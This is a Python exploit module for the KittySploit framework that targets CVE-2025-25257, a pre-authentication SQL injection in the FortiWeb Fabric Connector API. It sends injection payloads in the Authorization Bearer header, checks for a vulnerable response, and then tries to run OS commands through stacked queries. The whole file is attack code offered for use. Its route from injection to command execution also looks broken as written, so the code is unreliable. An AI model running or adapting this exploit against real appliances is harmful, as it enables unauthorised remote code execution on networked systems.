Fortinet FortiWeb Fabric Connector SQLi (CVE-2025-25257)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Fortinet FortiWeb Fabric Connector SQLi (CVE-2025-25257)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Fortinet FortiWeb Fabric Connector SQLi (CVE-2025-25257)',
        'description': (
            'Exploits CVE-2025-25257 pre-auth SQL injection in FortiWeb Fabric Connector '
            '/api/fabric/device/status via a crafted Authorization Bearer token, then '
            'attempts OS command execution through stacked SQL payloads (WatchTowr chain).'
        ),
        'author': ['KittySploit Team', 'WatchTowr'],
        'cve': ['CVE-2025-25257'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-25257',
            'https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/',
        ],
        'tags': ['fortinet', 'fortiweb', 'sqli', 'pre-auth', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2025_25257_detect'],
            },
        },
    }

    api_path = OptString('/api/fabric/device/status', 'Fabric Connector API path', required=False)

    def _sqli_request(self, bearer: str):
        return self.http_request(
            method='GET',
            path=str(self.api_path or '/api/fabric/device/status'),
            headers={'Authorization': f'Bearer {bearer}'},
            allow_redirects=False,
        )

    def execute(self, cmd: str) -> str:
        safe = urllib.parse.quote(str(cmd).replace("'", "''"))
        payloads = [
            f"AAAAAA'or'1'='1",
            f"AAAAAA' UNION SELECT 1,({safe}),3--",
            f"AAAAAA'; ATTACH DATABASE '/tmp/k.{safe[:8]}.txt' AS x;--",
        ]
        outputs = []
        for bearer in payloads:
            r = self._sqli_request(bearer)
            if r and r.text:
                outputs.append(r.text)
        return '\n'.join(outputs)

    def check(self):
        r = self._sqli_request("AAAAAA'or'1'='1")
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'Fabric API not reachable', 'confidence': 'medium'}
        body = r.text or ''
        if all(m in body for m in ('serial', 'fortiweb', 'device_type')):
            return {
                'vulnerable': True,
                'reason': 'CVE-2025-25257 SQLi confirmed on /api/fabric/device/status',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Expected device JSON not returned', 'confidence': 'medium'}

    def check_execute(self):
        body = self.execute('id')
        return bool(re.search(r'uid=\d+', body or ''))

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            self.not_vulnerable(chk.get('reason'))
            return False
        if self.check_execute():
            return self.handler_execute()
        print_warning('SQLi confirmed — full RCE may require appliance-specific stacked queries')
        return self.handler_execute()